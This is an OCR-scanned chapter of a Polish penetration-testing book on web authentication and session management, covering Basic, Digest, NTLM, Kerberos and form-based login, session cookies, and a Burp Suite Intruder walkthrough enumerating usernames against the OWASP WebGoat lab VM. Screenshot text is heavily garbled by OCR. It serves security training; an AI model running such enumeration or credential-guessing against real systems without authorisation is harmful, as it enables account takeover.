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R O Z2 D Z2 | A t

Podatnosci
uwierzytelniania
| zarzgdzania sesjami

Gléwnym zadaniem aplikacji internetowych jest zapewnienie uzytkownikom dostepu do
informacji przechowywanych w odleglym miejscu i mozliwosci ich przetwarzania. Czasami
takie informacje sg publicznie dostepne, ale czesto zdarza sie réwniez, ze przetwarzane da-
ne sg specyficzne dla jakiego$ uzytkownika lub nawet poufne. W takiej sytuacji aplikacje
sieciowe zazwyczaj wymagaja od uzytkownikéw udowodnienia swojej tozsamosci przed uzy-
skaniem dostepu do danych. Proces weryfikacji tozsamo$ci, ktéry nazywamy uwierzytelnianiem
(ang. authentication), wymaga od uzytkownika przedstawienia dowodu tozsamosci, ktérym
moze by¢ jeden lub wiecej ponizszych elementéw:
Cos, co uzytkownik zna — np. nazwa konta uzytkownika i tajne hasto.

Cos, co uzytkownik posiada — np. karta inteligentna lub specjalny kod wysytany
na telefon uzytkownika.

Cos, co uzytkownika identyfikuje i co jest jego niepowtarzalng cechg — np.: glos,
twarz, odcisk palca lub inny element biometryczny.

W aplikacjach internetowych najczesciej uzywana jest pierwsza metoda, aczkolwiek istnieja
pewne specyficzne zastosowania, takie jak bankowosé lub wewnetrzne aplikacje korporacyjne,
ktore moga wykorzystywaé jedna lub wiecej pozostalych metod.

HTTP jest protokotem bezstanowym i bezpolaczeniowym. Oznacza to, ze kazde zgdanie
wysylane przez klienta do serwera jest traktowane przez serwer jako niezwigzane z zadnymi
wezesniejszymi lub przyszlymi zgdaniami wystanymi przez tego lub dowolnego innego
klienta. Inaczej méwige, gdy uzytkownik zaloguje sie do aplikacji internetowej, kazde na-
stepne wysylane przez niego zadanie jest traktowane przez serwer tak, jakby bylo pierwsze.
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Z tego wzgledu klient z kazdym kolejnym zgdaniem musiatby wysyla¢ swoje poswiadczenia
logowania. Takie rozwigzanie powodowaloby niepotrzebne narazanie poufnych informacji
i zbedny narzut na komunikacje.

Aby temu zapobiec, opracowano szereg technik umozliwiajacych aplikacjom internetowym
§ledzenie dziatain uzytkownikéw, utrzymywanie stanu aplikacji zgodnie ze zmianami wpro-
wadzanymi w ich wlasnym Srodowisku oraz odseparowanie aplikacji od dziatan innych
uzytkownikéw bez proszenia ich o poswiadczanie tozsamosci przy kazdej podejmowanej akeji.
Takie rozwigzanie nazywamy zarzadzaniem sesjg (ang. session management).

W tym rozdziale zobaczysz, jak uwierzytelnianie i zarzadzanie sesja sa najczesciej realizo-
wane w nowoczesnych aplikacjach internetowych, oraz dowiesz sie, jak zidentyfikowaé i wy-
korzysta¢ niektére z najezestszych luk bezpieczenstwa w takich mechanizmach.

Schematy uwierzytelniania
w aplikacjach internetowych

Zanim zapoznasz sie z wybranymi zagadnieniami dotyczacymi przeprowadzania testéw pe-
netracyjnych, sprawdzimy, w jaki sposéb proces uwierzytelniania odbywa sie w nowocze-
snych aplikacjach internetowych.

Uwierzytelnianie na poziomie platformy

Podczas korzystania z uwierzytelniania na poziomie platformy (ang. platform authentication)
uzytkownicy wysylaja swoje poswiadczenia w nagléwku kazdego zgdania, wykorzystujge do
tego celu pole Authorization. Nawet jezeli uzytkownik musi przestaé¢ swoje dane uwierzy-
telniajace tylko raz, przegladarka lub system przechowuje je i uzywa ich w razie potrzeby.

Istnieje kilka ré6znych typéw uwierzytelniania na poziomie platformy. Najczestsze z nich
omoéwiono w kolejnych podrozdziatach.

Uwierzytelnianie Basic

W przypadku tego typu uwierzytelniania platformy nazwa uzytkownika i hasto sg dotaczane
do nagléwka w polu Authorization i kodowane przy uzyciu algorytmu base64. Oznacza to,
ze kazdy, kto moze przechwycié i zobaczy¢ nagléwek zadania, jest w stanie rozszyfrowaé¢ dane
uwierzytelniajace do postaci jawnego tekstu, poniewaz kodowanie base64 nie jest formatem
kryptograficznym.

Na rysunkach ponizej pokazujemy, w jaki sposéb poswiadczenia logowania sg wysylane
w formacie base64 i jak mozna je dekodowadé:
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# 4 | Host | Method | URL | Params | Edited | Status
4 http: 10 7. 7.5 GET fanimatedcollapse.|js O O 504

9 http:/10.7.7.5 GET MehGoatiattack o o 401
10 http:#10.7.7.5 GET MiebGoat/attack o J 401

-

Fequest Response‘
J Raw T Farams I Headers ]’E]

GET /WebGoat/attack HTTP/1.1

Hest: 16.7.7.5

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,applicationsxhtml+xml,applications/xml;q=0.9,%/%:0=0.8
Accept-Language: en-US,en;g=0.5

Referer: http://10.7.7.5/

Cookie: jivelastWisited=1587072765009; Server=b3dhc3Bid2E=; acopendivids=swingset,jotto,phpbb2,r
JSESSIONID=0B1FA4CD375EBBF27B13378678F0B001; PHPSESSID=khfdOv3eeBf4s0bs3kagbrlecot
Connection: close

Upgrade-Insecure-Reqguests: 1

Authorization: Basic dGVzdHVzZXIedGVzdHEhc3N3b3Jk

Do konwers;ji tekstu z formatu base64 na ASCIT mozesz uzy¢ modutu Decoder z pakietu

Burp Suite:
Target T Proxy T Spider T Scanner T Intruder T Repeater
Sequencer Decoder T Cormparer T Extender T Project options T User options T Alerts
dGyzdHYzZ XI6dGYzdHBhc3N3balk @ Text O Hex 2]

Decode &5 ... v

HTML
Basefd

testusertestpassword

Uwierzytelnianie Digest

Uwierzytelnianie Digest jest znacznie bezpieczniejsze niz podstawowe uwierzytelnianie
typu Basic. Kiedy klient chce uzyska¢ dostep do chronionego zasobu, serwer wysyta losowy
cigg znakéw, nazywany nonce, jako wyzwanie. Nastepnie klient uzywa ciggu nonce wraz
z nazwg, uzytkownika i hastem do obliczenia wartosci skrotu MD5 i odsyta te wartos¢ do
serwera w celu weryfikacji.

Uwierzytelnianie NTLM

NTLM jest odmiang uwierzytelniania typu Digest, w ktérym poswiadczenia logowania sys-
temu Windows i algorytm haszowania NTLM sg uzywane do wygenerowania komunikatéw
wyzwania i odpowiedzi. Ten schemat uwierzytelniania wymaga przesylania wielu sekwencji
typu zadanie — odpowiedz, a serwer WWW i wszelkie posredniczace serwery proxy musza
obstugiwaé polaczenia trwale (ang. persistent connections).

123
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Uwierzytelnianie Kerberos

Ten schemat wykorzystuje protokot Kerberos do uwierzytelniania uzytkownika na serwerze.
Podobnie jak w przypadku uwierzytelniania NTLM, nie wymaga podawania nazwy uzyt-
kownika i hasta, ale do logowania uzywa poswiadczen z systemu Windows. Uwierzytelnianie
Kerberos wymaga zastosowania dodatkowego serwera, zwanego serwerem uwierzytelniania
(ang. AS — Authentication Server), i przebiega w kilku etapach:

1. Klient wysyla nazwe konta uzytkownika (ID) do serwera uwierzytelniania (AS).

2. Serwer AS wyszukuje nazwe konta (ID) w swojej bazie danych i uzywa
zahaszowanego hasta do szyfrowania klucza sesji.

3. Serwer AS wysyla do klienta zaszyfrowany klucz sesji oraz bilet TGT (ang. Ticket
Granting Ticket) zawierajacy identyfikator uzytkownika, klucz sesji, date wygasniecia
sesji i inne dane zaszyfrowane za pomocg tajnego klucza serwera. Jezeli podane
hasto jest nieprawidlowe, klient nie bedzie w stanie odszyfrowa¢ klucza ses;ji.

4. Klient odszyfrowuje klucz sesji.

5. Gdy klient chce uzyskaé¢ dostep do chronionego zasobu na serwerze sieciowym, bedzie
musial wystaé bilet TGT oraz identyfikator zasobu w jednej wiadomosci, a identyfikator
klienta i znacznik czasu zaszyfrowaé za pomocy klucza sesji w innej wiadomo$ci.

6. Jezeli serwer jest w stanie odszyfrowa¢ odebrane informacje, odpowiada za pomoca
biletu ustugi zaszyfrowanego przy uzyciu tajnego klucza serwera AS i klucza sesji
klienta/serwera, dodatkowo zaszyfrowanego przy uzyciu klucza sesji klienta.

7. Po otrzymaniu biletu ustugi z serwera AS klient moze zazada¢ dostepu do
zasobow serwera WWW.

Opisany proces zostal przedstawiony na ponizszym diagramie:

 — ‘ Zadanie biletu

*‘7‘ 1GT + klucz sesji

Zadanie biletu ustugi
P | (TGT + ID zasobu + ID klienta)

- - - ‘ Bilet ustugi ‘ -
Serwer
‘ — uwierzytelniajacy
//;}'\ Kerberos

Zadanie dostepu do zasobu
’ (bilet ustugi)
- Dostep do zasobu

Serwer WWW
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Rozdziat 4. e Podatnosci uwierzytelniania i zarzadzania sesjami

Uwierzytelnianie HTTP Negotiate

Zwane takze uwierzytelnianiem systemu Windows (ang. Windows Authentication) uwierzy-
telnianie HTTP Negotiate uzywa poswiadezen systemu Windows i w zaleznosci od tego, czy
protokoét Kerberos jest dostepny, wybiera miedzy uwierzytelnianiem Kerberos i NTLM.

Wady uwierzytelniania na poziomie platformy

Cho¢ schematy Kerberos i NTLM sg uwazane za bezpieczne, a uwierzytelnianie typu Basic
Iub Digest moze by¢ uzywane w polaczeniach TLS z niskim ryzykiem przechwycenia komu-
nikacji i pozyskania po§wiadczen logowania przez zlosliwego napastnika, uwierzytelnianie na
poziomie platformy pod wzgledem bezpieczenistwa wciaz wykazuje pewne ,wrodzone” wady:
B Poswiadczenia sg wysylane czesciej, w zwigzku z tym ich ekspozycja i ryzyko
przechwycenia w ataku typu man-in-the-middle (MITM) sa podwyzszone,
szczegolnie w przypadku schematéw Basic, Digest i NTLM.
B Uwierzytelnianie na poziomie platformy nie ma opcji wylogowania ani
wygasniecia sesji. Poniewaz funkcja pojedynczego logowania (ang. SSO — Single
Sign On) podczas korzystania z uwierzytelniania Windows Authentication jest
wlaczona, to gdy uzytkownik otworzy strone gléwng aplikacji, sesja rozpoczyna
sie automatycznie, bez pytania o nazwe uzytkownika i haslo, a nastepnie
automatycznie odnawia sie po wygasnieciu. Napastnik, ktory uzyska dostep
do komputera uzytkownika lub konta systemu Windows, uzyska wiec w takiej
sesji natychmiastowy dostep do aplikacji.
B Uwierzytelnianie na poziomie platformy nie jest odpowiednie dla aplikacji
publicznych, poniewaz wymaga znacznie wickszych naktadéw technicznych
i administracyjnych do odpowiedniego skonfigurowania i zarzgdzania niz
najbardziej popularne uwierzytelnianie oparte na formularzach.

Uwierzytelnianie oparte na formularzach

Jest to rodzaj uwierzytelniania, z ktérym jestesmy bardziej zaznajomieni: formularz HTML
zawierajacy pola nazwy uzytkownika i hasta oraz przycisk przesylania:

Username

Password

Login
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Taki spos6b uwierzytelniania moze dziala¢ réznie w réznych przypadkach, poniewaz jego imple-
mentacja jest catkowicie zalezna od aplikacji. Najezesciej stosowane podejscie jest nastepujace:
1. Uzytkownik wypelia formularz uwierzytelnienia i klika przycisk Zaloguj.
Klient (przegladarka internetowa) wysyla nastepnie zadanie zawierajace nazwe
uzytkownika i hasto do serwera w postaci zwyklego tekstu, chyba ze aplikacja
wykonuje szyfrowanie po stronie klienta.

2. Serwer otrzymuje przestane informacje, sprawdza dane uzytkownika w swojej
bazie danych oraz poré6wnuje zapisane i przestane hasta (lub ich skréty).

3. Jezeli uzytkownik istnieje i hasto jest poprawne, serwer odpowiada komunikatem
potwierdzajacym zalogowanie, ktéry moze zawieraé przekierowanie do strony
gléwnej oraz identyfikator sesji (zwykle jako plik cookie), aby uzytkownik nie
musial ponownie wysyta¢ swoich poswiadczen logowania.

4. Klient otrzymuje odpowiedz, zapisuje identyfikator sesji i przechodzi na strone gléwna.

Z perspektywy pentestera zdecydowanie najciekawsza jest metoda uwierzytelniania, ponie-
waz nie jest w zaden sposéb ustandaryzowana (nawet jezeli istnieja jakie$§ wytyczne opisujace
najlepsze praktyki jej implementacji) i zazwyczaj jest zrodlem duzej liczby podatnosci i luk
w zabezpieczeniach spowodowanych niewlasciwym sposobem wdrozenia.

Uwierzytelnianie dwusktadnikowe

Jak wspominalismy juz wcze$niej, aby udowodnié swoja tozsamosé aplikacji sieciowej, mu-
sisz poda¢ co§, co znasz, co$, co masz, lub co$, czym jestes. Kazdy z tych identyfikatoréw na-
zywany jest skladnikiem (ang. factor). Uwierzytelnianie wieloskladnikowe (ang. MFA —
Multi-factor Authentication) polega na zapewnieniu wybranym aplikacjom dodatkowej war-
stwy zabezpieczen i zapobieganiu nieautoryzowanemu dostepowi w przypadku, gdy np. hasto
dostepu zostato ztamane lub wykradzione przez napastnika.

Uwierzytelnianie dwuskladnikowe (ang. 2FA — Two-factor Authentication) w wiekszosci
aplikacji internetowych oznacza, ze uzytkownik musi poda¢ nazwe uzytkownika i hasto (pierw-
szy sktadnik) oraz specjalny kod lub hasto jednorazowe (ang. OTP — One-Time Password),
ktére jest tymcezasowe i losowo generowane przez urzadzenie posiadane przez uzytkownika
(token sprzetowy) lub wysylane do uzytkownika za posrednictwem wiadomosci SMS lub e-mail.
Po otrzymaniu hasta jednorazowego uzytkownik przesyla je z powrotem do aplikacji. Bar-
dziej zaawansowane aplikacje moga posiadaé zaimplementowane rozwigzania wymagajace
oprécz podania hasta np. uzycia karty inteligentnej (ang. Smart Card) lub danych biome-
trycznych, takich jak odcisk palca czy skan siatkéwki oka. Jednak ze wzgledu na fakt, ze ta-
kie rozwigzania wymagaja od uzytkownika posiadania dodatkowych, specjalistycznych urza-
dzen, sa znacznie rzadsze.

Warto jednak zauwazy¢, ze takie czy inne rozwigzania MFA zostaly juz wdrozone w zdecy-
dowanej wiekszosci aplikacji bankowych, a w ostatnich latach uwierzytelnianie dwusktadni-
kowe staje sie coraz bardziej popularne nawet w publicznych ustlugach poczty elektronicz-
nej i w mediach spolecznosciowych, ktére zaczely konsekwentnie promowaé wsréd swoich
uzytkownikéw, a nawet wymuszaé korzystanie z 2FA.
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OAuth

OAuth to otwarty standard uwierzytelniania. Gdy uzytkownicy Facebooka lub Google’a ze-
zwalajg aplikacjom stron trzecich na dostep do swoich kont, nie przekazuja tym aplikacjom
swoich poswiadezen logowania. Zamiast tego ustugodawcy (Google, Twitter lub Facebook)
udostepniaja specjalny token dostepu, ktéry pozwala takim aplikacjom pobiera¢ okreslone
informacje o koncie uzytkownika lub uzyskiwaé dostep do okreslonych funkcji zgodnie z po-
zwoleniami udzielonymi przez uzytkownika.

Mechanizmy zarzadzania sesjami

Zarzadzanie sesja obejmuje tworzenie lub definiowanie identyfikatoréw sesji podczas lo-
gowania, ustawianie limitu czasu nieaktywnosci, wygasniecia sesji i uniewazniania sesji pod-
czas wylogowywania; moze réwniez obejmowaé sprawdzanie autoryzacji w zalezno$ci od
uprawnien uzytkownika, poniewaz identyfikator sesji musi by¢ powigzany z uzytkownikiem.

Sesje oparte na uwierzytelnianiu platformy

Gdy uzywane jest uwierzytelnianie platformy, najczesciej stosowang metody jest wykorzy-
stanie nagléwka zawierajgcego poswiadezenie logowania lub identyfikowanie sesji uzytkow-
nika za pomoca mechanizmu wyzwania i odpowiedzi oraz zarzadzanie wygasnieciem sesji
i wylogowaniem za posrednictwem logiki aplikacji. Warto jednak przypomnie¢, ze bardzo
czesto w aplikacjach korzystajacych z uwierzytelniania na poziomie platformy nie sg stosowane
zadne limity czasu sesji, jej wygasniecia lub wylogowania.

Jezeli do uwierzytelniania uzywany jest protokol Kerberos, bilety generowane przez serwer
AS zawieraja juz informacje o sesji i stuzg do zarzadzania takg sesja.

Identyfikatory sesji

Identyfikatory sesji sg bardziej powszechne w rozwigzaniach wykorzystujacych mechanizm
uwierzytelniania za pomoca formularza, ale moga wystepowa¢ réwniez, gdy uzywamy uwierzy-
telniania platformy. Identyfikator sesji (ang. session ID) jest unikalnym numerem lub wartoscig
przypisywang danemu uzytkownikowi za kazdym razem, gdy inicjuje sesje z aplikacja. Identyfi-
kator sesji musi by¢ inny niz identyfikator uzytkownika i hasto, musi by¢ inny za kazdym razem,
gdy uzytkownik loguje sie do aplikacji, i musi by¢ dolaczany do kazdego wysylanego zadania, tak
aby serwer mégl rozrézniac¢ zadania naplywajace z r6znych sesji od r6znych uzytkownikéw.

Najczestszym sposobem przekazywania identyfikatoréw sesji miedzy klientem a serwerem
sa pliki cookie. Gdy serwer otrzymuje poprawne pos$wiadczenie logowania, skladajace sie
z nazwy uzytkownika i hasta, taczy te informacje logowania z identyfikatorem sesji i przeka-
zuje odpowiedz do klienta, wysylajac takie informacje np. w postaci odpowiednio przygoto-
wanego pliku cookie.
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Na ponizszych zrzutach ekranu zobaczysz kilka przyktadéw odpowiedzi serwera, ktére za-
wierajg pliki cookie sesji:

Fequest Response1
j Raw T Headers T Hex ]

HTTP/1.1 302 Found
Date: Tue, 17 Oct 2817 17:11:54 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1lubuntu4.30

mod_ss51/2.2.14 Open55L/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.
X-Powered-By: PHP/5.3.2-lubuntud. 330

Set-Cookie: PHPSESSID=khfdov3eeBfd4sbbs3kgbrlecod; path=/

Expires: Thu, 19 Nov 1981 B8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pr
Pragma: no-cache

W powyzszym przyktadzie aplikacja PHP ustawia plik cookie sesji o nazwie PHPSESSID.

Request Response1

_[ Raw T Headers T Hex T HTML T Render ]

HTTP/1.1 200 OK

Date: Tue, 17 Oct 2017 17:11:07 GMT
Server: Apache-Coyote/sl.1

Pragma: Mo-cache

Cache-Control: no-cache

Expires: Wed, 31 Dec 1969 19:00:00 EST
Content-Type: texts/html;charset=IS0-8859-1
Content-Length: 4183

Set-Cookie: JSESSIONID=EASGGEDEFTIFAD24415AEBG2TACS6FCA; Path=/
Via: 1.1 127.0.1.1

Vary: Accept-Encoding

Connection: close

W powyzszym przykladzie aplikacja Javy ustawia plik cookie sesji o nazwie JSESSIONID.

Request Respnnse1

j Raw T Headers T Hex T HTML T Render ]

HTTP/1.1 382 Found

Date: Tue, 17 0ct 2017 17:08:39 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosi
mod_ss1/2.2.14 OpenS5L/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.1]
Location: /webgoat.net/Default.aspx

X-Asphet-Version: 2.0.50727

Content-Length: 140

Cache-Control: private

Set-Cookie: ASP.NET_SessionId=AD3DABADBSAADD41229BCCDA; path=/webgoat.net
Set-Cookie: Server=b3dhc3Bid2E=; path=/

Connection: close

W powyzszym przykladzie aplikacja ASPNET ustawia plik cookie sesji o nazwie
ASP.NET_Sessionld.
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Typowe btedy uwierzytelniania
w aplikacjach internetowych

Spedzilismy juz troche czasu na omawianiu dziatania r6znych mechanizméw uwierzytelniania
w aplikacjach internetowych. W tej sekcji dowiesz sie, jak identyfikowaé i wykorzystywaé
niektére z podatnosci i luk w zabezpieczeniach spowodowane bledami w implementacji.

Brak uwierzytelnienia
lub nieprawidtowa weryfikacja uwierzytelniania

W poprzednim rozdziale pokazywalismy, jak korzysta¢ z polecenia DIRB i innych narzedzi
pozwalajacych na wyszukiwanie plikéw i katalogéw, ktére nie mogg byé przywolywane
przez zadng strone na serwerze WWW lub ktére moga posiada¢ uprzywilejowane funkcje,
takie jak /admin czy fuser/profile. Jezeli mozesz bezposrednio zaglada¢ do tych katalogéw i ko-
rzysta¢ z zawartych w nich funkcjonalnosci bez potrzeby uwierzytelniania lub jezeli po uwie-
rzytelnieniu jako standardowy uzytkownik mozesz przeglada¢ obszary administracyjne aplikacji
albo modyfikowa¢ profile innych uzytkownikéw, to taka aplikacja z pewnosciag ma powazne
problemy z bezpieczenstwem i funkcjonowaniem swoich mechanizméw uwierzytelniania.

Wyszukiwanie nazw kont uzytkownikéw

W scenariuszach testéw penetracyjnych typu grey box lub black box préba pozyskania listy
nazw kont uzytkownikéw aplikacji moze by¢ jednym z pierwszych krokéw wykonywanych
przez pentestera, szczeg6lnie jezeli taka aplikacja nie jest komercyjna i nie mozna liczy¢ na
to, ze w sieci internet znajdziemy informacje o domy$lnych kontach uzytkownikow.

Pozyskiwanie nazw kont uzytkownikéw aplikacji internetowych odbywa sie poprzez analize
odpowiedzi, gdy nazwy uzytkownikéw sg wpisywane w takich miejscach, jak strony logowania,
rejestracji czy odzyskiwania hasta. Ponizej przedstawiono typowe komunikaty o btedach,
ktére mozna zobaczy¢ podczas przesylania danych za posrednictwem formularzy logowania,
a ktére wskazuja, ze mozna dokonaé préby pozyskiwania nazw kont uzytkownikéw:

User foo: invalid password (uzytkownik foo: nieprawid/owe has/o)
invalid user ID (nieprawidfowy identyfikator uzytkownika)
account disabled (konto wy/gczone)

this user is not active (ten uzytkownik nie jest aktywny)
invalid user (nieprawidfowy uzytkownik)

Przyjrzyjmy sie bardzo prostemu przyktadowi pozyskiwania prawidtowych nazw kont uzyt-
kownikéw z aplikacji internetowej, ktéra w przypadku podania nieprawidlowej nazwy uzyt-
kownika wy$wietla zbyt duzo informacji. Uzyjemy do tego celu aplikacji OWASP WebGoat
z maszyny wirtualnej Broken Web Applications (BWA), ktéra posiadata adres TP 10.7.7.5.

Najpierw uruchomimy pakiet Burp Suite i skonfigurujemy przegladarke tak, aby uzywata go

jako proxy (jezeli uzywasz Firefoksa, wybierz Opcje/Ogdlne/Sie¢/Ustawienia polgczenia):
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about:proferences o

Konfiguracja proxy do laczenia z Internetem

ez serwera oy
fwtomatycmie wykrywaj ustawienia serwerdw provy dia tef siec
Ukywaj systemowych ustawien serwerdw progy
Recena konfiguracia serwertw prosy:
Serwer proxy HTTP. 127.000

o Uizyj tego serwera proxy dla wezystich protokobine

Ibe uzywaj proxy dia
localhost, 127.00.%

Proyidad: mozilla.ong, com.pl, 19216810024

Adres URL automatycane] konfiguraci proxy:

Mie pyta) o uwlerzyteinianie, je weje 2achowane hasto

Proxy NS podizas uzywania SOCKS v5

Nastepnie zaloguj sie do aplikacji WebGoat, uzywajac domyslnego konta uzytkownika
webgoat z hastem webgoat, a potem kliknij tacze Authentication Flaws/Forgot Password (btedy
uwierzytelniania/zapomniatem hasta):

Choose anotherlanguage: Eng h

OWASP WebGoat v5.4 |

logout @ |

Forgot Password

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-5ite Scripting (XS55)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Solution Videos

Web applications frequently provide their users the ability to retrieve a forgotten password.
Unfortunately, many web applications fail to implement the mechanism properly The information

reguired to verify the identity of the user is often overly simplistic.

General Goal(s):

Users can retrieve their password if they can answer the secret question property There is no
lock-out mechanism on this 'Forgot Password' page. Your usemame is 'webgoat' and your favorite

coloris 'red'. The goal is to retrieve the password of another user.

Webgoat Password Recovery

Please input your username. See the OWASP admin if you do not have an

account.
*Required Fields

“User Name: |

submit |

nsrec'r)' ECURIT

Restart this Lesson

Application Security
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Jest to formularz odzyskiwania hasta, ktéry wymaga podania nazwy uzytkownika, aby konty-
nuowac proces odzyskiwania. Wprowadz dowolng nazwe nieistniejacego konta uzytkownika,
np. nonexistentuser, a nastepnie naci$nij przycisk Submit (przeslij), aby zobaczy¢ rezultat:

* Not a valid username. Please try again.

Webgoat Password Recovery

Please input your username. See the OWASP admin if you do not hawv
account.

*Reguired Fields

*User Name:

| Submit |

Jak wida¢, nazwa

uzytkownika jest nieprawidtowa i nie mozna kontynuowaé¢ odzyskiwania

hasta. Mozesz $mialo zatozy¢, ze gdy podasz poprawng nazwe konta uzytkownika, otrzymasz

inng odpowiedz.

Teraz uzyjmy modutu Intruder z pakietu Burp Suite, aby dokona¢ préby znalezienia po-
prawnej nazwy konta uzytkownika. Najpierw musimy znalezé odpowiednie zadanie w histo-
rii Burp Proxy i przestaé je do modutu Intruder. Aby to zrobié¢, nacisnij kombinacje klawiszy
Ctrl+1 Tub kliknij prawym przyciskiem myszy i z menu podrecznego wybierz polecenie
Send to Intruder (wyslij do modulu Intruder):

E Burp Suite Free Edition v1.7.26 - Temporary Project |
Burp Intruder Repeater Window Help
Sequencer T Decoder T Comparer T Extender T Project options T User options
Target T Proxy Spider Scanner T Intruder T Rep
Intercept | HTTP history TWebSockets histary T Options ]
| Filter: Hiding C55, image and general binary content
#® A | Host | Method | URL | Params | Edited | Status | Length
£40 http:#/10.7.7.5 GET fmutillidaefindex. php?popUpMotificati... & ] 200 47558
E41 http:ff10.7.7.5 FOST frutillidaefindex. php?page=Ilogin.php (4] o 200 47145
-
Request | Response
POST /mutillidae/index.php?page=Llogin.php HTTP/1.1
Host: 10.7.7.5
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: tewt/html,application/xhtml+xml.apnlication/xml:a=0.9, %/%:q=0.8
Accept-Language: en-US.{ condto Spider
Referer: http://10.7.7. . e=L1HB&page=Llogin. php
Cookie: showhints=0; ji o &m EICtI.'.u'E eI id2E=;
acopendivids=swingset,j{ D% & passive scan da;
JSESSIONID=081FA4CD37SE SRl iipTlaly (W RN 1=0bs3kgbrliecob
Connection: close send to Repeater Ctrl+R
Upgrade-Insecure-Reques Send to Sequencer
Content-Type: applicati Send to C
Content-Length: 73 end ta Lomparer
Send to Decoder
username=nonexistentuse| Show response in browser m=Login
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Teraz przejdz na karte Intruder, potem kliknij karte z numerem Zadania i wreszcie przejdz
na karte Positions (pozycje). Z pewnoScia zauwazysz, ze wszystkie modyfikowalne parametry
klienta sg domyslnie zaznaczone. Nacisnij przycisk Clear (wyczys¢), aby usunaé ich zaznaczenie,
a nastepnie wybierz tylko pole username i kliknij przycisk Add (dodaj):

[ Target T Proxy T Spider T Scanner T Intruder T Repeater
[tz (5 [+ [ .|

[ Target T Fositions T Payloads T Cptions |

o] | Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines
the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper vJ

POST /mutillidae/index.php?page=Llogin.php HTTP/1.1 " [ Add B
Host: 18.7.7.5 r

User-Agent: Mozillas5.0 (X11; Linux xB6_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text.-‘htmL,appLication,-'xhtmL+x11LTappLication.-‘x-nL,'q=D.9,*.-"*Jq=D.8 [ Clear & J
Accept-Language: en-US,en;g=0.5

Referer: | Auto §
http://10.7.7.5/mutillidae/index. php?popUpNotificationCode=L1HB&page=1ogin. php

Cookie: showhints=0:; jivelastVisited=1507072765009; Server=b3dhc3Bid2E=; | Refresh

acopendivids=swingset, jotto,phpbb2, redmine; acgroupswithpersist=nada:
JSESSIONID=081FA4CD375EBEF27E13378678F0B001; PHPSESSID=khfdov3eeBf4sObs3kgbrlecos
Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 73

username=§nonexistentuseriipassword=saadsadsa&login-php-submit-button=Login

Modut Intruder automatyzuje wysytanie wielu zadan do serwera, zastepujac wybrane wartosci
danymi podanymi przez uzytkownika, i rejestruje wszystkie odpowiedzi, dzieki czemu mozemy
je analizowaé. Teraz musimy utworzy¢ liste nazw kont uzytkownika, ktére chcemy wyprébowaé
zamiast tego, ktére juz zostalo przestane.

Burp Intruder pozwala na przeprowadzanie czterech typéw atakéw, roznigcych sie liczbg i sposobami
umieszczania fadunkow:

B Sniper (snajper) — wykorzystuje tadunek sktadajacy sie z szeregu wartosci; kazda
z wartoSci z tego zestawu jest umieszczana po kolei na poszczegdlnych pozycjach
wej$ciowych, po jednej na raz. Liczba generowanych zadan bedzie zatem réwna
liczbie wartosci w zestawie tadunkéw pomnozonej przez liczbe pozycji wejsciowych.

B Battering ram (taran) — wykorzystuje fadunek skladajacy sie z szeregu wartosci;
kazda z wartosci z tego zestawu jest umieszezana jednocze$nie na wszystkich
pozycjach wejsciowych. Liczba zadan bedzie réwna liczbie wartosci w zestawie
tadunkow.

B Pitchfork (widly) — uzywa wielu pozycji wyjsciowych i wymaga utworzenia
osobnego zestawu wartos$ci dla kazdej pozycji. Po uruchomieniu ataku pobiera po
jednej wartosci z kazdego zestawu i umieszceza na odpowiadajgcych im pozycjach
wej$ciowych w tym samym czasie. Liczba wykonanych zadan bedzie réwna
dhugosci najkrétszego zestawu danych.
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B Cluster bomb (bomba kasetowa) — jezeli korzystamy z n pozycji wejsciowych,
poszczegdlne elementy z pierwszego zestawu danych sg kolejno parowane
ze wszystkimi elementami zestawu drugiego i pozostatych, tak aby utworzy¢
wszystkie mozliwe kombinacje. Liczbe zadan w takim ataku mozna okresli¢
przez pomnozenie rozmiaréw wszystkich zestaw6w tadunkéw.

Nastepnie przejdz na karte Payloads (fadunki) w module Intruder. Pozostaw opcje Payload set
(zestaw tadunkéw) niezmieniong i naci$nij przycisk Load... (zataduj), znajdujacy sie w sekcji
Payload Options [Simple List] (opcje tadunku [prosta lista]), ktéry pozwala na zaladowanie
pliku zawierajacego stowa lub wartosci, ktére chcesz wyprébowaé. Na szczescie Kali Linux
posiada obszerny zbi6r stownikéw i list stéw, znajdujacy sie w katalogu fusr/share/wordlists.

W naszym przykladzie uzyjemy nastepujacego pliku stownika:

Jusr/sharefwordlists/metasploit/http_default_users.ixt

Burp Intruder Repeater Window Help

Sequencer T Decader T Comparer T Extender T Project options T User options T
Target T Proxy I Spider T Scanner T Intruder Repeater

[1 E - _|
Target | Positions | Payloads T Dptions |

2 | start attack |

“ou can define one or more payload sets. The number of payload sets depends on the attack type
defined in the Positions tab. Various payload types are available for each payload set, and each payload
type can be custormized in different ways.

Payload set: |_ 1 _VJ Fayload count: 0
FPayload type: |_ simple list _"J Request count; 0
‘ [ E X
&J
This payload type Look In: |ﬁ' metasploit
— dlink_telnet_backdoor_userpass.txt http_owa_cormmmg
aste — —
([ Paste ] .| hei_oracle_passwords. csw || idrac_default_pas
Logd ... unhash.txt || http_default_pass.txt || idrac_default_use
ces_unhash.txt http_default_userpass.txt iprni_passwords.{
| Remove J — ——
— _unhash.txt .| http_default_users.txt || iprni_users.txt
|_ Clear J = T
File Marme: http_default_users.txt
[ add | en —
—_— Files of Type: | All Files v
Add frorn list ...
Cpen | cancel |
